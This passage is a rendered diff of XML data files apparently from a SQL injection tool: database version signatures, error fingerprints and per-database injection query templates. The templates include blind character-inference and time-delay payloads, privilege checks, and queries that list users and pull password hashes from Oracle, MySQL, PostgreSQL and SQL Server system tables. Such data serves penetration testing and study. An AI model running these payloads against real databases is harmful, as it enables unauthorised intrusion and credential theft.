9.00.3301
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2+Q958735
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.3295
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2+Q959132
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
9.00.3294
|
9.00.3294
|
||||||
@@ -51,6 +99,14 @@
|
|||||||
2+Q956854
|
2+Q956854
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.3291
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2+Q956889
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
9.00.3282
|
9.00.3282
|
||||||
@@ -67,6 +123,14 @@
|
|||||||
2+Q954607
|
2+Q954607
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.3261
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2+Q955754
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
9.00.3260
|
9.00.3260
|
||||||
|
|||||||
@@ -5,6 +5,15 @@
|
|||||||
<info dbms_version="1"/>
|
<info dbms_version="1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Windows -->
|
||||||
|
<regexp value="Visual C\+\+">
|
||||||
|
<info type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="mingw([\d]+)">
|
||||||
|
<info type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Ubuntu -->
|
<!-- Ubuntu -->
|
||||||
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||||
|
|||||||
@@ -27,6 +27,7 @@
|
|||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<error regexp="Access.*Driver"/>
|
<error regexp="Access.*Driver"/>
|
||||||
<error regexp="Driver.*Access"/>
|
<error regexp="Driver.*Access"/>
|
||||||
|
<error regexp="JET Database Engine"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
<!-- Oracle -->
|
||||||
|
|||||||
@@ -23,11 +23,12 @@
|
|||||||
-->
|
-->
|
||||||
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
||||||
<substring query="MID((%s), %d, %d)"/>
|
<substring query="MID((%s), %d, %d)"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER()"/>
|
<current_user query="CURRENT_USER()"/>
|
||||||
<current_db query="DATABASE()"/>
|
<current_db query="DATABASE()"/>
|
||||||
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
|
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||||
@@ -64,7 +65,7 @@
|
|||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="NVL(%s, ' ')"/>
|
<isnull query="NVL(%s, ' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="ROWNUM AS limit %s) WHERE limit"/>
|
<limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
|
||||||
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
||||||
<limitgroupstart/>
|
<limitgroupstart/>
|
||||||
<limitgroupstop/>
|
<limitgroupstop/>
|
||||||
@@ -74,37 +75,38 @@
|
|||||||
<comment query="--"/>
|
<comment query="--"/>
|
||||||
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
||||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
||||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||||
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
|
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||||
</users>
|
</users>
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
|
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||||
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS limit FROM SYS.USER$ WHERE NAME='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
|
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
|
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
|
||||||
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS limit FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
|
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
|
||||||
</privileges>
|
</privileges>
|
||||||
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
|
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
|
||||||
<dbs/>
|
<dbs/>
|
||||||
<tables>
|
<tables>
|
||||||
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
|
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
|
||||||
<inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/>
|
<inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/>
|
||||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS limit FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE limit=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS limit FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE limit=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS limit FROM %s) WHERE limit=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -124,11 +126,12 @@
|
|||||||
<comment query="--" query2="/*"/>
|
<comment query="--" query2="/*"/>
|
||||||
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
||||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
<current_db query="CURRENT_DATABASE()"/>
|
<current_db query="CURRENT_DATABASE()"/>
|
||||||
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
|
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT usename FROM pg_user"/>
|
<inband query="SELECT usename FROM pg_user"/>
|
||||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||||
@@ -166,20 +169,21 @@
|
|||||||
<isnull query="ISNULL(%s, ' ')"/>
|
<isnull query="ISNULL(%s, ' ')"/>
|
||||||
<delimiter query="+"/>
|
<delimiter query="+"/>
|
||||||
<limit query="SELECT TOP %d "/>
|
<limit query="SELECT TOP %d "/>
|
||||||
<limitregexp query="SELECT\s+TOP\s+1\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+[\d]+\s+"/>
|
<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
|
||||||
<limitgroupstart/>
|
<limitgroupstart query="2"/>
|
||||||
<limitgroupstop/>
|
<limitgroupstop query="1"/>
|
||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<comment query="--" query2="/*"/>
|
<comment query="--" query2="/*"/>
|
||||||
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
||||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||||
<banner query="@@VERSION"/>
|
<banner query="@@VERSION"/>
|
||||||
<current_user query="SYSTEM_USER"/>
|
<current_user query="SYSTEM_USER"/>
|
||||||
<current_db query="DB_NAME()"/>
|
<current_db query="DB_NAME()"/>
|
||||||
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
|
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||||
|
|||||||
Reference in New Issue
Block a user